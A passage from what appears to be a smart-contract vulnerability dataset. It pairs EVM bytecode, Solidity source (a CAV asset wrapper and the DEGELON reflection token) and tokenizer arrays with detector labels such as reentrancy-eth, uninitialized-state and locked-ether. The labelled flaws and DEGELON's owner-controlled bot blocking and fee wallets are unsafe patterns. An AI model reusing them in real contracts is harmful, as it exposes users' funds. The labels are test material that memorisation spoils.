0008385611c239190612770565b9050809150509392505050565b6000806000806000806000806000611c4d8a600a54600b54611e37565b9250925092506000611c5d61192e565b90506000806000611c708e878787611ecd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611cda83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f0565b905092915050565b6000808284611cf1919061271a565b905083811015611d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2d90612575565b60405180910390fd5b8091505092915050565b6000611d4a61192e565b90506000611d618284611f5690919063ffffffff16565b9050611db581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e1282600854611c9890919063ffffffff16565b600881905550611e2d81600954611ce290919063ffffffff16565b6009819055505050565b600080600080611e636064611e55888a611f5690919063ffffffff16565b61195990919063ffffffff16565b90506000611e8d6064611e7f888b611f5690919063ffffffff16565b61195990919063ffffffff16565b90506000611eb682611ea8858c611c9890919063ffffffff16565b611c9890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ee68589611f5690919063ffffffff16565b90506000611efd8689611f5690919063ffffffff16565b90506000611f148789611f5690919063ffffffff16565b90506000611f3d82611f2f8587611c9890919063ffffffff16565b611c9890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f695760009050611fcb565b60008284611f7791906127a1565b9050828482611f869190612770565b14611fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbd90612595565b60405180910390fd5b809150505b92915050565b600081359050611fe081612b3e565b92915050565b600081519050611ff581612b3e565b92915050565b60008135905061200a81612b55565b92915050565b60008151905061201f81612b55565b92915050565b60008135905061203481612b6c565b92915050565b60008151905061204981612b6c565b92915050565b60006020828403121561206157600080fd5b600061206f84828501611fd1565b91505092915050565b60006020828403121561208a57600080fd5b600061209884828501611fe6565b91505092915050565b600080604083850312156120b457600080fd5b60006120c285828601611fd1565b92505060206120d385828601611fd1565b9150509250929050565b6000806000606084860312156120f257600080fd5b600061210086828701611fd1565b935050602061211186828701611fd1565b925050604061212286828701612025565b9150509250925092565b6000806040838503121561213f57600080fd5b600061214d85828601611fd1565b925050602061215e85828601612025565b9150509250929050565b60006020828403121561217a57600080fd5b600061218884828501611ffb565b91505092915050565b6000602082840312156121a357600080fd5b60006121b184828501612010565b91505092915050565b6000806000606084860312156121cf57600080fd5b60006121dd8682870161203a565b93505060206121ee8682870161203a565b92505060406121ff8682870161203a565b9150509250925092565b60006122158383612221565b60208301905092915050565b61222a8161282f565b82525050565b6122398161282f565b82525050565b600061224a826126d5565b61225481856126f8565b935061225f836126c5565b8060005b838110156122905781516122778882612209565b9750612282836126eb565b925050600181019050612263565b5085935050505092915050565b6122a681612841565b82525050565b6122b581612884565b82525050565b60006122c6826126e0565b6122d08185612709565b93506122e0818560208601612896565b6122e981612927565b840191505092915050565b6000612301602a83612709565b915061230c82612938565b604082019050919050565b6000612324602283612709565b915061232f82612987565b604082019050919050565b6000612347601b83612709565b9150612352826129d6565b602082019050919050565b600061236a602183612709565b9150612375826129ff565b604082019050919050565b600061238d602083612709565b915061239882612a4e565b602082019050919050565b60006123b0602983612709565b91506123bb82612a77565b604082019050919050565b60006123d3602483612709565b91506123de82612ac6565b604082019050919050565b60006123f6601783612709565b915061240182612b15565b602082019050919050565b6124158161286d565b82525050565b61242481612877565b82525050565b600060208201905061243f6000830184612230565b92915050565b600060408201905061245a6000830185612230565b6124676020830184612230565b9392505050565b60006040820190506124836000830185612230565b612490602083018461240c565b9392505050565b600060c0820190506124ac6000830189612230565b6124b9602083018861240c565b6124c660408301876122ac565b6124d360608301866122ac565b6124e06080830185612230565b6124ed60a083018461240c565b979650505050505050565b600060208201905061250d600083018461229d565b92915050565b6000602082019050818103600083015261252d81846122bb565b905092915050565b6000602082019050818103600083015261254e816122f4565b9050919050565b6000602082019050818103600083015261256e81612317565b9050919050565b6000602082019050818103600083015261258e8161233a565b9050919050565b600060208201905081810360008301526125ae8161235d565b9050919050565b600060208201905081810360008301526125ce81612380565b9050919050565b600060208201905081810360008301526125ee816123a3565b9050919050565b6000602082019050818103600083015261260e816123c6565b9050919050565b6000602082019050818103600083015261262e816123e9565b9050919050565b600060208201905061264a600083018461240c565b92915050565b600060a082019050612665600083018861240c565b61267260208301876122ac565b8181036040830152612684818661223f565b90506126936060830185612230565b6126a0608083018461240c565b9695505050505050565b60006020820190506126bf600083018461241b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127258261286d565b91506127308361286d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612765576127646128c9565b5b828201905092915050565b600061277b8261286d565b91506127868361286d565b925082612796576127956128f8565b5b828204905092915050565b60006127ac8261286d565b91506127b78361286d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127f0576127ef6128c9565b5b828202905092915050565b60006128068261286d565b91506128118361286d565b925082821015612824576128236128c9565b5b828203905092915050565b600061283a8261284d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061288f8261286d565b9050919050565b60005b838110156128b4578082015181840152602081019050612899565b838111156128c3576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b478161282f565b8114612b5257600080fd5b50565b612b5e81612841565b8114612b6957600080fd5b50565b612b758161286d565b8114612b8057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201db699204f8d69d69528fce5604c2d96e25ea86f7a4c81976a44a7290dc7a64d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 24594, 22407, 2050, 2629, 2278, 26976, 2581, 2497, 14526, 16703, 10322, 2581, 2063, 2575, 2050, 2692, 2546, 27531, 19481, 6305, 2575, 2683, 2629, 11057, 7959, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,391
0x96b2cd70523aefe92e1cb56de72856ea30498547
pragma solidity ^0.4.11; // File: contracts/CAVAssetInterface.sol contract CAVAssetInterface { function __transferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool); function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool); function __approve(address _spender, uint _value, address _sender) returns(bool); function __process(bytes _data, address _sender) payable { revert(); } } // File: contracts/CAVAssetProxyInterface.sol contract CAVAssetProxy { address public platform; bytes32 public smbl; function __transferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool); function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool); function __approve(address _spender, uint _value, address _sender) returns(bool); function getLatestVersion() returns(address); function init(address _CAVPlatform, string _symbol, string _name); function proposeUpgrade(address _newVersion) returns (bool); } // File: contracts/CAVPlatformInterface.sol contract CAVPlatform { mapping(bytes32 => address) public proxies; function symbols(uint _idx) public constant returns (bytes32); function symbolsCount() public constant returns (uint); function name(bytes32 _symbol) returns(string); function setProxy(address _address, bytes32 _symbol) returns(uint errorCode); function isCreated(bytes32 _symbol) constant returns(bool); function isOwner(address _owner, bytes32 _symbol) returns(bool); function owner(bytes32 _symbol) constant returns(address); function totalSupply(bytes32 _symbol) returns(uint); function balanceOf(address _holder, bytes32 _symbol) returns(uint); function allowance(address _from, address _spender, bytes32 _symbol) returns(uint); function baseUnit(bytes32 _symbol) returns(uint8); function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(uint errorCode); function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(uint errorCode); function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(uint errorCode); function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(uint errorCode); function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, address _account) returns(uint errorCode); function reissueAsset(bytes32 _symbol, uint _value) returns(uint errorCode); function revokeAsset(bytes32 _symbol, uint _value) returns(uint errorCode); function isReissuable(bytes32 _symbol) returns(bool); function changeOwnership(bytes32 _symbol, address _newOwner) returns(uint errorCode); function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool); } // File: contracts/CAVAsset.sol /** * @title CAV Asset implementation contract. * * Basic asset implementation contract, without any additional logic. * Every other asset implementation contracts should derive from this one. * Receives calls from the proxy, and calls back immediatly without arguments modification. * * Note: all the non constant functions return false instead of throwing in case if state change * didn't happen yet. */ contract CAVAsset is CAVAssetInterface { // Assigned asset proxy contract, immutable. CAVAssetProxy public proxy; // banned addresses mapping (address => bool) public blacklist; // stops asset transfers bool public paused = false; /** * Only assigned proxy is allowed to call. */ modifier onlyProxy() { if (proxy == msg.sender) { _; } } modifier onlyNotPaused(address sender) { if (!paused || isAuthorized(sender)) { _; } } modifier onlyAcceptable(address _address) { if (!blacklist[_address]) { _; } } /** * Only assets's admins are allowed to execute */ modifier onlyAuthorized() { if (isAuthorized(msg.sender)) { _; } } /** * Sets asset proxy address. * * Can be set only once. * * @param _proxy asset proxy contract address. * * @return success. * @dev function is final, and must not be overridden. */ function init(CAVAssetProxy _proxy) returns(bool) { if (address(proxy) != 0x0) { return false; } proxy = _proxy; return true; } function isAuthorized(address sender) public view returns (bool) { CAVPlatform platform = CAVPlatform(proxy.platform()); return platform.hasAssetRights(sender, proxy.smbl()); } /** * @dev Lifts the ban on transfers for given addresses */ function restrict(address [] _restricted) external onlyAuthorized returns (bool) { for (uint i = 0; i < _restricted.length; i++) { blacklist[_restricted[i]] = true; } return true; } /** * @dev Revokes the ban on transfers for given addresses */ function unrestrict(address [] _unrestricted) external onlyAuthorized returns (bool) { for (uint i = 0; i < _unrestricted.length; i++) { delete blacklist[_unrestricted[i]]; } return true; } /** * @dev called by the owner to pause, triggers stopped state * Only admin is allowed to execute this method. */ function pause() external onlyAuthorized returns (bool) { paused = true; return true; } /** * @dev called by the owner to unpause, returns to normal state * Only admin is allowed to execute this method. */ function unpause() external onlyAuthorized returns (bool) { paused = false; return true; } /** * Passes execution into virtual function. * * Can only be called by assigned asset proxy. * * @return success. * @dev function is final, and must not be overridden. */ function __transferWithReference(address _to, uint _value, string _reference, address _sender) onlyProxy() returns(bool) { return _transferWithReference(_to, _value, _reference, _sender); } /** * Calls back without modifications if an asset is not stopped. * Checks whether _from/_sender are not in blacklist. * * @return success. * @dev function is virtual, and meant to be overridden. */ function _transferWithReference(address _to, uint _value, string _reference, address _sender) internal onlyNotPaused(_sender) onlyAcceptable(_to) onlyAcceptable(_sender) returns(bool) { return proxy.__transferWithReference(_to, _value, _reference, _sender); } /** * Passes execution into virtual function. * * Can only be called by assigned asset proxy. * * @return success. * @dev function is final, and must not be overridden. */ function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyProxy() returns(bool) { return _transferFromWithReference(_from, _to, _value, _reference, _sender); } /** * Calls back without modifications if an asset is not stopped. * Checks whether _from/_sender are not in blacklist. * * @return success. * @dev function is virtual, and meant to be overridden. */ function _transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) internal onlyNotPaused(_sender) onlyAcceptable(_from) onlyAcceptable(_to) onlyAcceptable(_sender) returns(bool) { return proxy.__transferFromWithReference(_from, _to, _value, _reference, _sender); } /** * Passes execution into virtual function. * * Can only be called by assigned asset proxy. * * @return success. * @dev function is final, and must not be overridden. */ function __approve(address _spender, uint _value, address _sender) onlyProxy() returns(bool) { return _approve(_spender, _value, _sender); } /** * Calls back without modifications. * * @return success. * @dev function is virtual, and meant to be overridden. */ function _approve(address _spender, uint _value, address _sender) internal onlyAcceptable(_spender) onlyAcceptable(_sender) returns(bool) { return proxy.__approve(_spender, _value, _sender); } }
0x6060604052600436106100ab5763ffffffff60e060020a60003504166319ab453c81146100b05780633f4ba83a146100e35780635c975abb146100f65780636a630ee7146101095780637b7054c8146101795780638456cb59146101a2578063be57771a146101b5578063ec556889146101d3578063ec698a2814610202578063ee47af0014610279578063f2d6e0ab14610297578063f9f92be4146102ea578063fe9fbb8014610309575b600080fd5b34156100bb57600080fd5b6100cf600160a060020a0360043516610328565b604051901515815260200160405180910390f35b34156100ee57600080fd5b6100cf610373565b341561010157600080fd5b6100cf610394565b341561011457600080fd5b6100cf60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050509235600160a060020a0316925061039d915050565b341561018457600080fd5b6100cf600160a060020a0360043581169060243590604435166103cc565b34156101ad57600080fd5b6100cf6103f9565b34156101c057600080fd5b6100cf600480356024810191013561041d565b34156101de57600080fd5b6101e6610490565b604051600160a060020a03909116815260200160405180910390f35b341561020d57600080fd5b6100cf600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050509235600160a060020a0316925061049f915050565b341561028457600080fd5b6100cf60048035602481019101356104d0565b6102e860046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050509235600160a060020a031692506100ab915050565b005b34156102f557600080fd5b6100cf600160a060020a036004351661052f565b341561031457600080fd5b6100cf600160a060020a0360043516610544565b60008054600160a060020a0316156103425750600061036e565b506000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03831617905560015b919050565b600061037e33610544565b1561039157506002805460ff1916905560015b90565b60025460ff1681565b6000805433600160a060020a03908116911614156103c4576103c185858585610689565b90505b949350505050565b6000805433600160a060020a03908116911614156103f2576103ef848484610811565b90505b9392505050565b600061040433610544565b1561039157506002805460ff1916600190811790915590565b60008061042933610544565b15610489575060005b8281101561048457600180600086868581811061044b57fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff1916911515919091179055600101610432565b600191505b5092915050565b600054600160a060020a031681565b6000805433600160a060020a03908116911614156104c7576104c486868686866108ef565b90505b95945050505050565b6000806104dc33610544565b15610489575060005b8281101561048457600160008585848181106104fd57fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff191690556001016104e5565b60016020526000908152604090205460ff1681565b600080548190600160a060020a0316634bde38c882604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561058e57600080fd5b6102c65a03f1151561059f57600080fd5b505050604051805160008054919350600160a060020a03808516935063ccc11f1192879291169063cb4e75bb90604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561060157600080fd5b6102c65a03f1151561061257600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561066857600080fd5b6102c65a03f1151561067957600080fd5b5050506040518051949350505050565b600254600090829060ff1615806106a457506106a481610544565b1561080857600160a060020a038616600090815260016020526040902054869060ff16151561080657600160a060020a038416600090815260016020526040902054849060ff1615156108045760008054600160a060020a031690636a630ee7908a908a908a908a90604051602001526040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a031681526020018481526020018060200183600160a060020a0316600160a060020a03168152602001828103825284818151815260200191508051906020019080838360005b83811015610799578082015183820152602001610781565b50505050905090810190601f1680156107c65780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15156107e757600080fd5b6102c65a03f115156107f857600080fd5b50505060405180519450505b505b505b50949350505050565b600160a060020a038316600090815260016020526040812054849060ff1615156108e757600160a060020a038316600090815260016020526040902054839060ff1615156108e55760008054600160a060020a031690637b7054c8908890889088906040516020015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015260248101929092529091166044820152606401602060405180830381600087803b15156108c857600080fd5b6102c65a03f115156108d957600080fd5b50505060405180519350505b505b509392505050565b600254600090829060ff16158061090a575061090a81610544565b15610a8b57600160a060020a038716600090815260016020526040902054879060ff161515610a8957600160a060020a038716600090815260016020526040902054879060ff161515610a8757600160a060020a038516600090815260016020526040902054859060ff161515610a855760008054600160a060020a03169063ec698a28908c908c908c908c908c906040516020015260405160e060020a63ffffffff8816028152600160a060020a0380871660048301908152868216602484015260448301869052908316608483015260a060648301908152909160a40184818151815260200191508051906020019080838360005b83811015610a19578082015183820152602001610a01565b50505050905090810190601f168015610a465780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b1515610a6857600080fd5b6102c65a03f11515610a7957600080fd5b50505060405180519550505b505b505b505b50959450505050505600a165627a7a72305820f60911e6d9f0c19350569a02acb15f2ccaec423d196500000c42aeddecfd191c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2475, 19797, 19841, 25746, 2509, 6679, 7959, 2683, 2475, 2063, 2487, 27421, 26976, 3207, 2581, 22407, 26976, 5243, 14142, 26224, 27531, 22610, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2340, 1025, 1013, 1013, 5371, 1024, 8311, 1013, 6187, 12044, 13462, 18447, 2121, 12172, 1012, 14017, 3206, 6187, 12044, 13462, 18447, 2121, 12172, 1063, 3853, 1035, 1035, 4651, 24415, 2890, 25523, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 1010, 5164, 1035, 4431, 1010, 4769, 1035, 4604, 2121, 1007, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 1035, 1035, 4651, 19699, 5358, 24415, 2890, 25523, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 1010, 5164, 1035, 4431, 1010, 4769, 1035, 4604, 2121, 1007, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,392
0x96b34399206063cd341d79019056779d0941cf17
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DEGELON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "DEGEN ELON"; string private constant _symbol = "DEGELON"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x99F6E3556a80434c403678a7891376a45a819e04); _feeAddrWallet2 = payable(0x9ffDB7dcBE23132Dedf2FaaEa34d708076120462); _feeAddrWallet3 = payable(0x9ffDB7dcBE23132Dedf2FaaEa34d708076120462); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 1; _feeAddr2 = 12; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { 